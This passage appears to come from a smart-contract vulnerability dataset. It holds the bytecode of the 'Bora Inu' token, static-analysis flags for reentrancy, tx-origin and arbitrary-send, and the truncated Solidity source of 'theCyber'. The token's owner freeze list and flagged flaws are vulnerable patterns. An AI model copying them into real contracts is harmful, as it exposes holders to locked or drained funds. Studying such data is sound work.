90612f32565b611424565b6040516106799190612f8d565b60405180910390f35b34801561068e57600080fd5b50610697611442565b6040516106a49190612d91565b60405180910390f35b3480156106b957600080fd5b506106c2611448565b005b3480156106d057600080fd5b506106d96114c2565b005b3480156106e757600080fd5b506106f06115eb565b6040516106fd9190612d91565b60405180910390f35b34801561071257600080fd5b5061072d60048036038101906107289190613286565b61161d565b005b34801561073b57600080fd5b50610756600480360381019061075191906132b3565b611715565b6040516107639190612d91565b60405180910390f35b34801561077857600080fd5b5061078161179c565b005b600e5481565b6040518060400160405280600881526020017f426f726120496e7500000000000000000000000000000000000000000000000081525081565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610803611c4d565b73ffffffffffffffffffffffffffffffffffffffff161461082357600080fd5b80600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507f0e96f8986653644392af4a5daec8b04a389af0d497572173e63846ccd26c843c600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040516108b59190613352565b60405180910390a150565b60006108d46108cd611c4d565b8484611c55565b6001905092915050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661091f611c4d565b73ffffffffffffffffffffffffffffffffffffffff161461093f57600080fd5b600a82111561094d57600080fd5b600a81111561095b57600080fd5b81600b8190555080600c819055507f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a1600b54600c5460405161099e92919061336d565b60405180910390a15050565b6000683635c9adc5dea00000905090565b600f5481565b6000601160009054906101000a900460ff168015610a295750600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015610a825750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b15610af6573273ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614610af5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aec906133e2565b60405180910390fd5b5b610b01848484611e1e565b600082600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610b4d611c4d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610b929190613431565b9050610ba685610ba0611c4d565b83611c55565b60019150509392505050565b6000610bbd30611037565b905090565b600981565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610c08611c4d565b73ffffffffffffffffffffffffffffffffffffffff1614610c2857600080fd5b60005b8151811015610cb957600060066000848481518110610c4d57610c4c613465565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610cb190613494565b915050610c2b565b5050565b60105481565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b600b5481565b610d27611c4d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610db4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dab90613528565b60405180910390fd5b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610df5611c4d565b73ffffffffffffffffffffffffffffffffffffffff1614610e1557600080fd5b60008111610e58576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e4f90613594565b60405180910390fd5b80600d819055507f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd8600d54604051610e909190612d91565b60405180910390a150565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610f02611c4d565b73ffffffffffffffffffffffffffffffffffffffff1614610f2257600080fd5b80600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507f96511497113ddf59712b28350d7457b9c300ab227616bd3b451745a395a53014600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16604051610fb49190613352565b60405180910390a150565b600c5481565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611006611c4d565b73ffffffffffffffffffffffffffffffffffffffff161461102657600080fd5b600047905061103481612729565b50565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b611088611c4d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611115576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161110c90613528565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611214611c4d565b73ffffffffffffffffffffffffffffffffffffffff161461123457600080fd5b60005b81518110156113ab57600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1682828151811061128c5761128b613465565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff16141580156113205750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168282815181106112ff576112fe613465565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1614155b156113985760016006600084848151811061133e5761133d613465565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b80806113a390613494565b915050611237565b5050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b601160029054906101000a900460ff1681565b6040518060400160405280600481526020017f424f52410000000000000000000000000000000000000000000000000000000081525081565b6000611438611431611c4d565b8484611e1e565b6001905092915050565b600d5481565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611489611c4d565b73ffffffffffffffffffffffffffffffffffffffff16146114a957600080fd5b60006114b430611037565b90506114bf81612816565b50565b6114ca611c4d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611557576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154e90613528565b60405180910390fd5b601160009054906101000a900460ff16156115a7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161159e90613600565b60405180910390fd5b6001601160006101000a81548160ff021916908315150217905550426010819055506801a055690d9db80000600e819055506801a055690d9db80000600f81905550565b6000611618600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611037565b905090565b611625611c4d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146116b2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116a990613528565b60405180910390fd5b80601160026101000a81548160ff0219169083151502179055507ff65c78d1059dbb9ec90732848bcfebbec05ac40af847d3c19adcad63379d3aeb601160029054906101000a900460ff1660405161170a9190612f8d565b60405180910390a150565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6117a4611c4d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611831576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161182890613528565b60405180910390fd5b601160009054906101000a900460ff1615611881576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161187890613600565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061191130600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea00000611c55565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561195c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119809190613635565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156119e7573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a0b9190613635565b6040518363ffffffff1660e01b8152600401611a28929190613662565b6020604051808303816000875af1158015611a47573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a6b9190613635565b600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730611af430611037565b600080611aff6113af565b426040518863ffffffff1660e01b8152600401611b21969594939291906136c6565b60606040518083038185885af1158015611b3f573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190611b64919061373c565b505050600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611c0692919061378f565b6020604051808303816000875af1158015611c25573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611c4991906137cd565b5050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611cc4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cbb9061386c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611d33576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d2a906138fe565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611e119190612d91565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611e8d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e8490613990565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611efc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ef390613a22565b60405180910390fd5b60008111611f3f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f3690613ab4565b60405180910390fd5b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611fcc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fc390613b46565b60405180910390fd5b6000611fd66113af565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561204457506120146113af565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561266457600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156120f45750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561214a5750600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561246457601160009054906101000a900460ff1661219e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161219590613bb2565b60405180910390fd5b60105442036121e2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121d990613c1e565b60405180910390fd5b42610e106010546121f39190613c3e565b111561225257600f5461220584611037565b836122109190613c3e565b1115612251576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161224890613d06565b60405180910390fd5b5b600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010160009054906101000a900460ff1661232c5760405180604001604052806000815260200160011515815250600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000820151816000015560208201518160010160006101000a81548160ff0219169083151502179055509050505b42607860105461233c9190613c3e565b111561241857600e54821115612387576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161237e90613d72565b60405180910390fd5b600f426123949190613c3e565b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000015410612417576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161240e90613e04565b60405180910390fd5b5b42600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000181905550600190505b601160019054906101000a900460ff1615801561248d5750601160009054906101000a900460ff165b80156124e75750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b1561266357600f426124f99190613c3e565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001541061257c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161257390613e96565b60405180910390fd5b600061258730611037565b9050600081111561264457601160029054906101000a900460ff161561263a576064600d546125d7600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611037565b6125e19190613eb6565b6125eb9190613f3f565b811115612639576064600d54612622600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611037565b61262c9190613eb6565b6126369190613f3f565b90505b5b61264381612816565b5b6000479050600081111561265c5761265b47612729565b5b6000925050505b5b600060019050600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061270b5750600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561271557600090505b6127228585858486612a8f565b5050505050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6002836127729190613f3f565b9081150290604051600060405180830381858888f1935050505015801561279d573d6000803e3d6000fd5b50600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6002836127e79190613f3f565b9081150290604051600060405180830381858888f19350505050158015612812573d6000803e3d6000fd5b5050565b6001601160016101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561284e5761284d613077565b5b60405190808252806020026020018201604052801561287c5781602001602082028036833780820191505090505b509050308160008151811061289457612893613465565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561293b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061295f9190613635565b8160018151811061297357612972613465565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506129da30600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611c55565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401612a3e95949392919061402e565b600060405180830381600087803b158015612a5857600080fd5b505af1158015612a6c573d6000803e3d6000fd5b50505050506000601160016101000a81548160ff02191690831515021790555050565b6000612a9b8383612ab1565b9050612aa986868684612b06565b505050505050565b600080600090508315612afc578215612ace57600b549050612afb565b600c549050610384601054612ae39190613c3e565b421015612afa57600581612af79190613c3e565b90505b5b5b8091505092915050565b600080612b138484612ca9565b9150915083600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612b629190613431565b600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612bf09190613c3e565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612c3c81612ce7565b8473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051612c999190612d91565b60405180910390a3505050505050565b600080600060648486612cbc9190613eb6565b612cc69190613f3f565b905060008186612cd69190613431565b905080829350935050509250929050565b80600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d329190613c3e565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050565b6000819050919050565b612d8b81612d78565b82525050565b6000602082019050612da66000830184612d82565b92915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612de6578082015181840152602081019050612dcb565b83811115612df5576000848401525b50505050565b6000601f19601f8301169050919050565b6000612e1782612dac565b612e218185612db7565b9350612e31818560208601612dc8565b612e3a81612dfb565b840191505092915050565b60006020820190508181036000830152612e5f8184612e0c565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612ea682612e7b565b9050919050565b612eb681612e9b565b8114612ec157600080fd5b50565b600081359050612ed381612ead565b92915050565b600060208284031215612eef57612eee612e71565b5b6000612efd84828501612ec4565b91505092915050565b612f0f81612d78565b8114612f1a57600080fd5b50565b600081359050612f2c81612f06565b92915050565b60008060408385031215612f4957612f48612e71565b5b6000612f5785828601612ec4565b9250506020612f6885828601612f1d565b9150509250929050565b60008115159050919050565b612f8781612f72565b82525050565b6000602082019050612fa26000830184612f7e565b92915050565b60008060408385031215612fbf57612fbe612e71565b5b6000612fcd85828601612f1d565b9250506020612fde85828601612f1d565b9150509250929050565b60008060006060848603121561300157613000612e71565b5b600061300f86828701612ec4565b935050602061302086828701612ec4565b925050604061303186828701612f1d565b9150509250925092565b600060ff82169050919050565b6130518161303b565b82525050565b600060208201905061306c6000830184613048565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6130af82612dfb565b810181811067ffffffffffffffff821117156130ce576130cd613077565b5b80604052505050565b60006130e1612e67565b90506130ed82826130a6565b919050565b600067ffffffffffffffff82111561310d5761310c613077565b5b602082029050602081019050919050565b600080fd5b6000613136613131846130f2565b6130d7565b905080838252602082019050602084028301858111156131595761315861311e565b5b835b81811015613182578061316e8882612ec4565b84526020840193505060208101905061315b565b5050509392505050565b600082601f8301126131a1576131a0613072565b5b81356131b1848260208601613123565b91505092915050565b6000602082840312156131d0576131cf612e71565b5b600082013567ffffffffffffffff8111156131ee576131ed612e76565b5b6131fa8482850161318c565b91505092915050565b60006020828403121561321957613218612e71565b5b600061322784828501612f1d565b91505092915050565b61323981612e9b565b82525050565b60006020820190506132546000830184613230565b92915050565b61326381612f72565b811461326e57600080fd5b50565b6000813590506132808161325a565b92915050565b60006020828403121561329c5761329b612e71565b5b60006132aa84828501613271565b91505092915050565b600080604083850312156132ca576132c9612e71565b5b60006132d885828601612ec4565b92505060206132e985828601612ec4565b9150509250929050565b6000819050919050565b600061331861331361330e84612e7b565b6132f3565b612e7b565b9050919050565b600061332a826132fd565b9050919050565b600061333c8261331f565b9050919050565b61334c81613331565b82525050565b60006020820190506133676000830184613343565b92915050565b60006040820190506133826000830185612d82565b61338f6020830184612d82565b9392505050565b7f706c73206e6f20626f7400000000000000000000000000000000000000000000600082015250565b60006133cc600a83612db7565b91506133d782613396565b602082019050919050565b600060208201905081810360008301526133fb816133bf565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061343c82612d78565b915061344783612d78565b92508282101561345a57613459613402565b5b828203905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600061349f82612d78565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82036134d1576134d0613402565b5b600182019050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000613512602083612db7565b915061351d826134dc565b602082019050919050565b6000602082019050818103600083015261354181613505565b9050919050565b7f526174652063616e2774206265207a65726f0000000000000000000000000000600082015250565b600061357e601283612db7565b915061358982613548565b602082019050919050565b600060208201905081810360008301526135ad81613571565b9050919050565b7f54726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b60006135ea601783612db7565b91506135f5826135b4565b602082019050919050565b60006020820190508181036000830152613619816135dd565b9050919050565b60008151905061362f81612ead565b92915050565b60006020828403121561364b5761364a612e71565b5b600061365984828501613620565b91505092915050565b60006040820190506136776000830185613230565b6136846020830184613230565b9392505050565b6000819050919050565b60006136b06136ab6136a68461368b565b6132f3565b612d78565b9050919050565b6136c081613695565b82525050565b600060c0820190506136db6000830189613230565b6136e86020830188612d82565b6136f560408301876136b7565b61370260608301866136b7565b61370f6080830185613230565b61371c60a0830184612d82565b979650505050505050565b60008151905061373681612f06565b92915050565b60008060006060848603121561375557613754612e71565b5b600061376386828701613727565b935050602061377486828701613727565b925050604061378586828701613727565b9150509250925092565b60006040820190506137a46000830185613230565b6137b16020830184612d82565b9392505050565b6000815190506137c78161325a565b92915050565b6000602082840312156137e3576137e2612e71565b5b60006137f1848285016137b8565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000613856602483612db7565b9150613861826137fa565b604082019050919050565b6000602082019050818103600083015261388581613849565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006138e8602283612db7565b91506138f38261388c565b604082019050919050565b60006020820190508181036000830152613917816138db565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b600061397a602583612db7565b91506139858261391e565b604082019050919050565b600060208201905081810360008301526139a98161396d565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000613a0c602383612db7565b9150613a17826139b0565b604082019050919050565b60006020820190508181036000830152613a3b816139ff565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b6000613a9e602983612db7565b9150613aa982613a42565b604082019050919050565b60006020820190508181036000830152613acd81613a91565b9050919050565b7f45524332303a207472616e736665722066726f6d2066726f7a656e2077616c6c60008201527f65742e0000000000000000000000000000000000000000000000000000000000602082015250565b6000613b30602383612db7565b9150613b3b82613ad4565b604082019050919050565b60006020820190508181036000830152613b5f81613b23565b9050919050565b7f54726164696e67206e6f742079657420656e61626c65642e0000000000000000600082015250565b6000613b9c601883612db7565b9150613ba782613b66565b602082019050919050565b60006020820190508181036000830152613bcb81613b8f565b9050919050565b7f706c73206e6f20736e6970000000000000000000000000000000000000000000600082015250565b6000613c08600b83612db7565b9150613c1382613bd2565b602082019050919050565b60006020820190508181036000830152613c3781613bfb565b9050919050565b6000613c4982612d78565b9150613c5483612d78565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613c8957613c88613402565b5b828201905092915050565b7f596f752063616e2774206f776e2074686174206d616e7920746f6b656e73206160008201527f74206f6e63652e00000000000000000000000000000000000000000000000000602082015250565b6000613cf0602783612db7565b9150613cfb82613c94565b604082019050919050565b60006020820190508181036000830152613d1f81613ce3565b9050919050565b7f45786365656473206d6178696d756d2062757920616d6f756e742e0000000000600082015250565b6000613d5c601b83612db7565b9150613d6782613d26565b602082019050919050565b60006020820190508181036000830152613d8b81613d4f565b9050919050565b7f596f75722062757920636f6f6c646f776e20686173206e6f742065787069726560008201527f642e000000000000000000000000000000000000000000000000000000000000602082015250565b6000613dee602283612db7565b9150613df982613d92565b604082019050919050565b60006020820190508181036000830152613e1d81613de1565b9050919050565b7f596f75722073656c6c20636f6f6c646f776e20686173206e6f7420657870697260008201527f65642e0000000000000000000000000000000000000000000000000000000000602082015250565b6000613e80602383612db7565b9150613e8b82613e24565b604082019050919050565b60006020820190508181036000830152613eaf81613e73565b9050919050565b6000613ec182612d78565b9150613ecc83612d78565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613f0557613f04613402565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000613f4a82612d78565b9150613f5583612d78565b925082613f6557613f64613f10565b5b828204905092915050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b613fa581612e9b565b82525050565b6000613fb78383613f9c565b60208301905092915050565b6000602082019050919050565b6000613fdb82613f70565b613fe58185613f7b565b9350613ff083613f8c565b8060005b838110156140215781516140088882613fab565b975061401383613fc3565b925050600181019050613ff4565b5085935050505092915050565b600060a0820190506140436000830188612d82565b61405060208301876136b7565b81810360408301526140628186613fd0565b90506140716060830185613230565b61407e6080830184612d82565b969550505050505056fea2646970667358221220017f81a0247757a367b0e832b1a11e5c27a46bd7b7f040adb60a7228d7f870c764736f6c634300080d0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "tx-origin", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 10,154 |
0x97a99c819544ad0617f48379840941efbe1bfae1 | pragma solidity ^0.4.19;
contract SupportedContract {
// Members can call any contract that exposes a `theCyberMessage` method.
function theCyberMessage(string) public;
}
contract ERC20 {
// We want to be able to recover & donate any tokens sent to the contract.
function balanceOf(address _who) public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
}
contract theCyber {
// theCyber is a decentralized club. It does not support equity memberships,
// payment of dues, or payouts to the members. Instead, it is meant to enable
// dapps that allow members to communicate with one another or that provide
// arbitrary incentives or special access to the club's members. To become a
// member of theCyber, you must be added by an existing member. Furthermore,
// existing memberships can be revoked if a given member becomes inactive for
// too long. Total membership is capped and unique addresses are required.
event NewMember(uint8 indexed memberId, bytes32 memberName, address indexed memberAddress);
event NewMemberName(uint8 indexed memberId, bytes32 newMemberName);
event NewMemberKey(uint8 indexed memberId, string newMemberKey);
event MembershipTransferred(uint8 indexed memberId, address newMemberAddress);
event MemberProclaimedInactive(uint8 indexed memberId, uint8 indexed proclaimingMemberId);
event MemberHeartbeated(uint8 indexed memberId);
event MembershipRevoked(uint8 indexed memberId, uint8 indexed revokingMemberId);
event BroadcastMessage(uint8 indexed memberId, string message);
event DirectMessage(uint8 indexed memberId, uint8 indexed toMemberId, string message);
event Call(uint8 indexed memberId, address indexed contractAddress, string message);
event FundsDonated(uint8 indexed memberId, uint256 value);
event TokensDonated(uint8 indexed memberId, address tokenContractAddress, uint256 value);
// There can only be 256 members (member number 0 to 255) in theCyber.
uint16 private constant MAXMEMBERS_ = 256;
// A membership that has been marked as inactive for 90 days may be revoked.
uint64 private constant INACTIVITYTIMEOUT_ = 90 days;
// Set the ethereum tip jar (ethereumfoundation.eth) as the donation address.
address private constant DONATIONADDRESS_ = 0xfB6916095ca1df60bB79Ce92cE3Ea74c37c5d359;
// A member has a name, a public key, a date they joined, and a date they were
// marked as inactive (which is equial to 0 if they are currently active).
struct Member {
bool member;
bytes32 name;
string pubkey;
uint64 memberSince;
uint64 inactiveSince;
}
// Set up a fixed array of members indexed by member id.
Member[MAXMEMBERS_] internal members_;
// Map addresses to booleans designating that they control the membership.
mapping (address => bool) internal addressIsMember_;
// Map addresses to member ids.
mapping (address => uint8) internal addressToMember_;
// Map member ids to addresses that own the membership.
mapping (uint => address) internal memberToAddress_;
// Most methods of the contract, like adding new members or revoking existing
// inactive members, can only be called by a valid member.
modifier membersOnly() {
// Only allow transactions originating from a designated member address.
require(addressIsMember_[msg.sender]);
_;
}
// In the constructor function, set up the contract creator as the first
// member so that other new members can be added.
function theCyber() public {
// Log the addition of the first member (contract creator).
NewMember(0, "", msg.sender);
// Set up the member: status, name, key, member since & inactive since.
